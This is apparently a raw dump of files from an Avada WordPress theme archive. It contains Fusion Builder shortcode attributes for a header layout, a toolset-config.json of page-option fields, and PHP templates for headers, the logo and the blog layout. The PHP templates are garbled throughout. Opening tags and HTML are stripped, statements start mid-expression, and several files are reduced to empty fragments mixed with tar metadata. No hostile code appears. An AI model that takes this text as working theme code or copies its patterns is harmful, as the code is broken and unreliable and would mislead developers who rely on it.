type_medium="" type_small="1_1" order_medium="0" order_small="1" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_color="" border_style="solid" border_position="all" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" first="true" element_content="" spacing_right="" spacing_left="-10px" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" margin_bottom_small="10px" type="5_6"][fusion_menu menu="left-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" margin_top="" margin_bottom="" transition_time="300" submenu_space="" arrows="" arrows_size_width="" arrows_size_height="" class="" id="" min_height="" sticky_min_height="" align_items="center" justify_content="flex-start" font_size="" fusion_font_family_typography="" fusion_font_variant_typography="" text_transform="none" items_padding_top="20px" items_padding_right="" items_padding_bottom="20px" items_padding_left="" gap="40px" border_radius_top_left="" border_radius_top_right="" border_radius_bottom_right="" border_radius_bottom_left="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size_width="" thumbnail_size_height="" bg="" color="" border_top="" border_right="" border_bottom="" border_left="" border_color="" icons_color="" active_bg="" active_color="" active_border_top="" active_border_right="" active_border_bottom="" active_border_left="" active_border_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_max_width="" submenu_flyout_direction="fade" submenu_font_size="13px" fusion_font_family_submenu_typography="" fusion_font_variant_submenu_typography="" submenu_text_transform="none" submenu_items_padding_top="" submenu_items_padding_right="" submenu_items_padding_bottom="" submenu_items_padding_left="" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" box_shadow="yes" box_shadow_vertical="3" box_shadow_horizontal="0" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="never" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding_top="" trigger_padding_right="" trigger_padding_bottom="" trigger_padding_left="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_trigger_bottom_margin="" mobile_nav_items_height="55" mobile_justify_content="left" mobile_indent_submenu="on" fusion_font_family_mobile_typography="" fusion_font_variant_mobile_typography="" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" /][/fusion_builder_column][fusion_builder_column type="1_6" layout="1_6" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id="" type_medium="" type_small="" order_medium="0" order_small="2" order="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_color="" border_style="solid" border_position="all" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" first="false" element_content="" spacing_right="" spacing_left="0px" border_sizes_top="0px" border_sizes_bottom="0px" border_sizes_left="0px" border_sizes_right="0px" type="1_6"][fusion_button link="" text_transform="" title="" target="_self" link_attributes="" alignment="right" modal="" color="default" button_gradient_top_color="#65bc7b" button_gradient_bottom_color="#65bc7b" button_gradient_top_color_hover="#539b65" button_gradient_bottom_color_hover="#539b65" accent_color="#ffffff" accent_hover_color="fff" type="" bevel_color="" border_width="" border_radius="31" border_color="" border_hover_color="" size="large" stretch="yes" icon="" icon_position="left" icon_divider="no" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" class="" id=""]Buy Avada[/fusion_button][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container][fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" padding_top_small="20px" padding_bottom_small="20px" padding_top="40px" padding_bottom="40px" flex_column_spacing="0" padding_right_small="30px" padding_left_small="30px" background_color="#ffffff" gradient_start_color="#ffffff" gradient_end_color="#f6fbf7" type="flex" padding_right="30px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="1_4" layout="1_4" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" element_content="" margin_bottom_small="0px" first="true" spacing_right="" type="1_4"][fusion_imageframe image_id="" max_width="170px" sticky_max_width="" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align_medium="none" align_small="left" align="none" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][fusion_builder_column type="3_4" layout="3_4" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="false" type="3_4"][fusion_menu menu="main-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="20px" arrows="" arrows_size="" class="" id="" min_height="" sticky_min_height="" align_items="center" justify_content="flex-end" font_size="" text_transform="none" items_padding="" gap="15px" transition_type="center-grow" icons_position="left" icons_size="14" thumbnail_size="" bg="" color="" active_bg="#ffffff" active_color="#4e9163" border="" border_color="rgba(255,255,255,0.17)" active_border="" active_border_color="#65bc7b" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="800" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="rgba(255,255,255,0)" mobile_trigger_color="#000000" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="29" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_trigger_bottom_margin="20px" mobile_nav_items_height="65" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#f4f4f4" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_typography="" border_right="2px" border_bottom="2px" border_left="2px" active_border_bottom="2px" items_padding_bottom="10px" items_padding_top="10px" arrows_size_width="10px" arrows_size_height="10px" items_padding_right="20px" items_padding_left="20px" border_radius_top_left="50px" border_radius_top_right="50px" fusion_font_variant_submenu_typography="" fusion_font_variant_mobile_typography="" trigger_padding_top="" trigger_padding_bottom="" submenu_border_radius_top_left="15px" submenu_border_radius_top_right="15px" submenu_border_radius_bottom_right="15px" submenu_border_radius_bottom_left="15px" box_shadow_vertical="3" box_shadow_horizontal="0" border_top="2px" active_border_top="2px" active_border_right="2px" active_border_left="2px" border_radius_bottom_right="50px" border_radius_bottom_left="50px" mobile_trigger_font_size="25px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; return $demos; } add_filter( 'fusion_builder_get_demo_headers', 'fusion_builder_add_custom_headers' ); Avada/contact.php000064400000001710152342437710007733 0ustar00 Avada/buddypress.php000064400000002655152342437710010475 0ustar00 Avada/toolset-config.json000064400000037322152342437710011426 0ustar00{ "data": [ { "name": "pyre_page_title", "type": [ "local" ], "group": "Title Bar", "target": [ "single" ], "gui": { "display_name": "Page Title Bar", "type": "select", "values": [ { "text": "Default", "value": "default" }, { "text": "Show Bar and Content", "value": "yes" }, { "text": "Show Content Only", "value": "yes_without_bar" }, { "text": "Hide", "value": "no" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_page_title_breadcrumbs_search_bar", "type": [ "local" ], "group": "Title Bar", "target": [ "single" ], "gui": { "display_name": "Breadcrumbs/Search Bar", "type": "select", "values": [ { "text": "Default", "value": "default" }, { "text": "Breadcrumbs", "value": "breadcrumbs" }, { "text": "Searchbar", "value": "searchbar" }, { "text": "None", "value": "none" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_page_title_100_width", "type": [ "local" ], "group": "Title Bar", "target": [ "single" ], "gui": { "display_name": "100% Page Title Width", "type": "select", "values": [ { "text": "Default", "value": "default" }, { "text": "Yes", "value": "yes" }, { "text": "No", "value": "no" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_page_title_height", "type": [ "local" ], "group": "Title Bar", "target": [ "single" ], "gui": { "display_name": "Page Title Bar Height", "type": "text", "values": [ { "value": "" } ] }, "default_value": "" }, { "name": "pyre_page_title_mobile_height", "type": [ "local" ], "group": "Title Bar", "target": [ "single" ], "gui": { "display_name": "Page Title Bar Mobile Height", "type": "text", "values": [ { "value": "" } ] }, "default_value": "" }, { "name": "pyre_display_header", "type": [ "local" ], "group": "Page Elements", "target": [ "single" ], "gui": { "display_name": "Display Header", "type": "select", "values": [ { "text": "Yes", "value": "yes" }, { "text": "No", "value": "no" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_sidebar_position", "type": [ "local" ], "group": "Page Elements", "target": [ "single" ], "gui": { "display_name": "Sidebar 1 Position", "type": "select", "values": [ { "text": "Default", "value": "default" }, { "text": "Left", "value": "left" }, { "text": "Right", "value": "right" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_header_100_width", "type": [ "local" ], "group": "Page Elements", "target": [ "single" ], "gui": { "display_name": "100% Header Width", "type": "select", "values": [ { "text": "Default", "value": "default" }, { "text": "Yes", "value": "yes" }, { "text": "No", "value": "no" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_show_first_featured_image", "type": [ "local" ], "group": "Page Content Layout", "target": [ "single" ], "gui": { "display_name": "Disable First Featured Image", "type": "select", "values": [ { "text": "Yes", "value": "yes" }, { "text": "No", "value": "no" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_wide_page_bg_color", "type": [ "local" ], "group": "Page Content Layout", "target": [ "single" ], "target_exclude": [ "post" ], "gui": { "display_name": "Background Color", "type": "colorpicker" }, "default_value": "#ffffff" }, { "name": "pyre_portfolio_width_100", "type": [ "local" ], "group": "Page Content Layout", "target": [ "single" ], "target_exclude": [ "page" ], "gui": { "display_name": "Use 100% Width Page", "type": "select", "values": [ { "text": "Yes", "value": "yes" }, { "text": "No", "value": "no" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_main_top_padding", "type": [ "local" ], "group": "Page Content Layout", "target": [ "single" ], "gui": { "display_name": "Page Content Top Padding", "type": "text", "values": [ { "value": "" } ] }, "default_value": "0px" }, { "name": "pyre_main_bottom_padding", "type": [ "local" ], "group": "Page Content Layout", "target": [ "single" ], "gui": { "display_name": "Page Content Bottom Padding", "type": "text", "values": [ { "value": "" } ] }, "default_value": "0px" }, { "name": "pyre_hundredp_padding", "type": [ "local" ], "group": "Page Content Layout", "target": [ "single" ], "gui": { "display_name": "100% Width Padding", "type": "text", "values": [ { "value": "" } ] }, "default_value": "0px" }, { "name": "pyre_post_links_target", "type": [ "local" ], "group": "Page Content Layout", "target": [ "single" ], "target_exclude": [ "page" ], "gui": { "display_name": "Open Post Links In New Window", "type": "select", "values": [ { "text": "Yes", "value": "yes" }, { "text": "No", "value": "no" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_related_posts", "type": [ "local" ], "group": "Page Content Layout", "target": [ "single" ], "target_exclude": [ "page" ], "gui": { "display_name": "Show Related Posts", "type": "select", "values": [ { "text": "Default", "value": "default" }, { "text": "Yes", "value": "yes" }, { "text": "No", "value": "no" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_share_box", "type": [ "local" ], "group": "Page Content Layout", "target": [ "single" ], "target_exclude": [ "page" ], "gui": { "display_name": "Show Social Share Box", "type": "select", "values": [ { "text": "Default", "value": "default" }, { "text": "Yes", "value": "yes" }, { "text": "No", "value": "no" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_post_pagination", "type": [ "local" ], "group": "Page Content Layout", "target": [ "single" ], "target_exclude": [ "page" ], "gui": { "display_name": "Show Previous/Next Pagination", "type": "select", "values": [ { "text": "Default", "value": "default" }, { "text": "Yes", "value": "yes" }, { "text": "No", "value": "no" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_author_info", "type": [ "local" ], "group": "Page Content Layout", "target": [ "single" ], "target_exclude": [ "page" ], "gui": { "display_name": "Show Author Info Box", "type": "select", "values": [ { "text": "Default", "value": "default" }, { "text": "Yes", "value": "yes" }, { "text": "No", "value": "no" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_display_footer", "type": [ "local" ], "group": "Footer", "target": [ "single" ], "gui": { "display_name": "Display Footer Widget Area", "type": "select", "values": [ { "text": "Default", "value": "default" }, { "text": "Yes", "value": "yes" }, { "text": "No", "value": "no" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_display_copyright", "type": [ "local" ], "group": "Footer", "target": [ "single" ], "gui": { "display_name": "Display Copyright Area", "type": "select", "values": [ { "text": "Default", "value": "default" }, { "text": "Yes", "value": "yes" }, { "text": "No", "value": "no" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "pyre_footer_100_width", "type": [ "local" ], "group": "Footer", "target": [ "single" ], "gui": { "display_name": "100% Footer Width", "type": "select", "values": [ { "text": "Default", "value": "default" }, { "text": "Yes", "value": "yes" }, { "text": "No", "value": "no" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "content_bg_color", "type": [ "global" ], "global_key" : "fusion_options", "group": "Page Content Layout", "target": [ "archive" ], "gui": { "display_name": "Main Content Background Color", "type": "colorpicker" }, "default_value": "#ffffff" }, { "name": "site_width", "type": [ "global" ], "global_key" : "fusion_options", "group": "Page Content Layout", "target": [ "archive" ], "gui": { "display_name": "Site Width", "type": "text", "values": [ { "value": "" } ] }, "default_value": "" }, { "name": "hundredp_padding", "type": [ "global" ], "global_key" : "fusion_options", "group": "Page Content Layout", "target": [ "archive" ], "gui": { "display_name": "100% Width Padding", "type": "text", "values": [ { "value": "" } ] }, "default_value": "0px" }, { "name": "page_title_bar", "type": [ "global" ], "global_key" : "fusion_options", "group": "Title Bar", "target": [ "archive" ], "gui": { "display_name": "Page Title Bar", "type": "select", "values": [ { "text": "Show Bar and Content", "value": "bar_and_content" }, { "text": "Show Content Only", "value": "content_only" }, { "text": "Hide", "value": "hide" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "page_title_100_width", "type": [ "global" ], "global_key" : "fusion_options", "group": "Title Bar", "target": [ "archive" ], "gui": { "display_name": "100% Page Title Width", "type": "select", "values": [ { "text": "Yes", "value": "1" }, { "text": "No", "value": "0" } ] }, "default_value": "toolset_use_theme_setting" }, { "name": "page_title_height", "type": [ "global" ], "global_key" : "fusion_options", "group": "Title Bar", "target": [ "archive" ], "gui": { "display_name": "Page Title Bar Height", "type": "text", "values": [ { "value": "" } ] }, "default_value": "" }, { "name": "page_title_mobile_height", "type": [ "global" ], "global_key" : "fusion_options", "group": "Title Bar", "target": [ "archive" ], "gui": { "display_name": "Page Title Mobile Height", "type": "text", "values": [ { "value": "" } ] }, "default_value": "" }, { "name": "page_title_font_size", "type": [ "global" ], "global_key" : "fusion_options", "group": "Title Bar", "target": [ "archive" ], "gui": { "display_name": "Page Title Font Size", "type": "text", "values": [ { "value": "" } ] }, "default_value": "" }, { "name": "footer_widgets_center_content", "type": [ "global" ], "global_key" : "fusion_options", "group": "Footer", "target": [ "single", "archive" ], "gui": { "display_name": "Center Footer Widgets Content", "type": "select", "values": [ { "text": "On", "value": "1" }, { "text": "Off", "value": "0" } ] }, "default_value": "toolset_use_theme_setting" } ] }Avada/templates/side-header.php000064400000007350152342437710012456 0ustar00 settings->get( 'sticky_header_logo' ) ) ? true : false; $mobile_logo = ( Avada()->settings->get( 'mobile_logo' ) ) ? true : false; $side_header_css = 'clearfix fusion-mobile-menu-design-' . strtolower( Avada()->settings->get( 'mobile_menu_design' ) ) . ' fusion-sticky-logo-' . $sticky_header_logo . ' fusion-mobile-logo-' . $mobile_logo . ' fusion-sticky-menu-' . has_nav_menu( 'sticky_navigation' ) . ( Avada()->settings->get( 'header_shadow' ) ? ' header-shadow' : '' ); if ( 'flyout' === Avada()->settings->get( 'mobile_menu_design' ) ) { $side_header_css .= ' fusion-header-has-flyout-menu'; } ?>
    settings->get( 'mobile_menu_design' ) ) : ?>
    settings->get( 'mobile_logo' ) ) ? true : false; ?>
    settings->get( 'header_left_content' ) || 'leave_empty' !== fusion_get_option( 'header_right_content' ) ) : ?>
    settings->get( 'mobile_menu_design' ) ) : ?>
    >
    settings->get( 'disable_date_rich_snippet_pages' ) && Avada()->settings->get( 'disable_rich_snippet_title' ) ) ? 'entry-title' : ''; ?>

    Avada/templates/wc-proceed-to-checkout.php000064400000001146152342437710014554 0ustar00 Avada/templates/header-v1.php000064400000001416152342437710012055 0ustar00
    settings->get( 'mobile_menu_design' ) ) : ?>
    settings->get( 'mobile_menu_design' ) ) : ?>
    Avada/templates/wc-quick-view-container.php000064400000002445152342437710014757 0ustar00 Avada/templates/header-v6.php000064400000004702152342437710012063 0ustar00
    settings->get( 'slidingbar_toggle_style' ) && Avada()->settings->get( 'slidingbar_widgets' ) ) : ?>
    settings->get( 'main_nav_search_icon' ) || Avada()->settings->get( 'mobile_menu_search' ) ) : ?>
    settings->get( 'main_nav_search_icon' ) || Avada()->settings->get( 'mobile_menu_search' ) ) : ?>
    Avada/templates/wc-before-shop-loop-item-title-close.php000064400000000341152342437710017242 0ustar00 Avada/templates/menu-mobile-search.php000064400000000711152342437710013752 0ustar00
    Avada/templates/logo.php000064400000014126152342437710011243 0ustar00'; if ( 'v7' === Avada()->settings->get( 'header_layout' ) && ! Avada()->settings->get( 'logo_background' ) ) { $logo_opening_markup = '
  • ' . $pyre_video . '
  • '; } if ( has_post_thumbnail() && fusion_get_option( 'show_first_featured_image' ) ) { $attachment_data = Avada()->images->get_attachment_data( get_post_thumbnail_id() ); if ( is_array( $attachment_data ) ) { $featured_images .= '
  • '; $featured_images .= '' . esc_attr( $attachment_data['alt'] ) . ''; $featured_images .= '
  • '; } } $i = 2; while ( $i <= Avada()->settings->get( 'posts_slideshow_number' ) ) : $attachment_new_id = fusion_get_featured_image_id( 'featured-image-' . $i, 'page' ); if ( $attachment_new_id ) { $attachment_data = Avada()->images->get_attachment_data( $attachment_new_id ); $featured_images .= '
  • '; $featured_images .= '' . esc_attr( $attachment_data['alt'] ) . ''; $featured_images .= '
  • '; } $i++; endwhile; ?>
    settings->get( 'header_layout' ); get_template_part( 'templates/header-' . $header_type ); Avada/templates/wc-single-title.php000064400000000710152342437710013304 0ustar00 itemprop="name" class="product_title entry-title">> Avada/templates/header-v5.php000064400000002050152342437710012054 0ustar00
    settings->get( 'mobile_menu_design' ) ) : ?>
    settings->get( 'mobile_menu_design' ) ) : ?> settings->get( 'mobile_menu_design' ) ) : ?>
    Avada/templates/blog-layout.php000064400000045701152342437710012544 0ustar00settings->get( 'search_featured_images' ); $grid_columns = (int) Avada()->settings->get( 'search_grid_columns' ); $grid_columns_spacing = (int) Avada()->settings->get( 'search_grid_column_spacing' ); $search_meta = array_flip( Avada()->settings->get( 'search_meta' ) ); $is_there_meta_above = ! empty( $search_meta ) && ( isset( $search_meta['author'] ) || isset( $search_meta['date'] ) || isset( $search_meta['categories'] ) || isset( $search_meta['tags'] ) ); $is_there_meta_below = ! empty( $search_meta ) && ( isset( $search_meta['comments'] ) || isset( $search_meta['read_more'] ) ); $display_comments = isset( $search_meta['comments'] ); $display_read_more = isset( $search_meta['read_more'] ); $pagination_type = fusion_get_option( 'search_pagination_type' ); $number_of_pages = ceil( $wp_query->found_posts / Avada()->settings->get( 'search_results_per_page' ) ); $is_there_content = 'full_content' === fusion_get_option( 'search_content_length' ) || ( 'excerpt' === fusion_get_option( 'search_content_length' ) && 0 < fusion_get_option( 'search_excerpt_length' ) ); } else { $display_featured_images = Avada()->settings->get( 'featured_images' ); $grid_columns = (int) Avada()->settings->get( 'blog_archive_grid_columns' ); $grid_columns_spacing = (int) Avada()->settings->get( 'blog_archive_grid_column_spacing' ); $is_there_meta_above = Avada()->settings->get( 'post_meta' ) && ( Avada()->settings->get( 'post_meta_author' ) || Avada()->settings->get( 'post_meta_date' ) || Avada()->settings->get( 'post_meta_cats' ) || Avada()->settings->get( 'post_meta_tags' ) ); $is_there_meta_below = Avada()->settings->get( 'post_meta' ) && ( Avada()->settings->get( 'post_meta_comments' ) || Avada()->settings->get( 'post_meta_read' ) ); $display_comments = Avada()->settings->get( 'post_meta_comments' ); $display_read_more = Avada()->settings->get( 'post_meta_read' ); $pagination_type = fusion_get_option( 'blog_pagination_type' ); $number_of_pages = $wp_query->max_num_pages; $is_there_content = 'full_content' === fusion_get_option( 'content_length' ) || ( 'excerpt' === fusion_get_option( 'content_length' ) && 0 < fusion_get_option( 'excerpt_length_blog' ) ); } $post_class = 'fusion-post-' . $blog_layout; $lazy_load = 'avada' === Avada()->settings->get( 'lazy_load' ) ? true : false; // Used for grid and timeline layouts. $is_there_meta = $is_there_meta_above || $is_there_meta_below; // Masonry needs additional grid class. if ( 'masonry' === $blog_layout ) { $post_class .= ' fusion-post-grid'; } $container_class = 'fusion-posts-container '; $wrapper_class = 'fusion-blog-layout-' . $blog_layout . '-wrapper '; if ( 'grid' === $blog_layout || 'masonry' === $blog_layout ) { $container_class .= 'fusion-blog-layout-grid fusion-blog-layout-grid-' . $grid_columns . ' isotope '; if ( 'masonry' === $blog_layout ) { $container_class .= 'fusion-blog-layout-' . $blog_layout . ' '; } } elseif ( 'timeline' !== $blog_layout ) { $container_class .= 'fusion-blog-layout-' . $blog_layout . ' '; } if ( ! $is_there_meta ) { $container_class .= 'fusion-no-meta-info '; } if ( Avada()->settings->get( 'blog_equal_heights' ) && 'grid' === $blog_layout && 1 < $grid_columns ) { $container_class .= 'fusion-blog-equal-heights '; } // Set class for scrolling type. if ( 'infinite_scroll' === $pagination_type ) { $container_class .= 'fusion-posts-container-infinite '; $wrapper_class .= 'fusion-blog-infinite '; } elseif ( 'load_more_button' === $pagination_type ) { $container_class .= 'fusion-posts-container-infinite fusion-posts-container-load-more '; } else { $container_class .= 'fusion-blog-pagination '; } if ( ! $display_featured_images ) { $container_class .= 'fusion-blog-no-images '; } // Add class if rollover is enabled. if ( Avada()->settings->get( 'image_rollover' ) && $display_featured_images ) { $container_class .= 'fusion-blog-rollover '; } $content_align = Avada()->settings->get( 'blog_layout_alignment' ); if ( $content_align && ( 'grid' === $blog_layout || 'masonry' === $blog_layout || 'timeline' === $blog_layout ) ) { $container_class .= 'fusion-blog-layout-' . $content_align . ''; } ?>
    1 ) { echo '
    '; } echo '

    ' . get_the_date( Avada()->settings->get( 'timeline_date_format' ) ) . '

    '; echo '
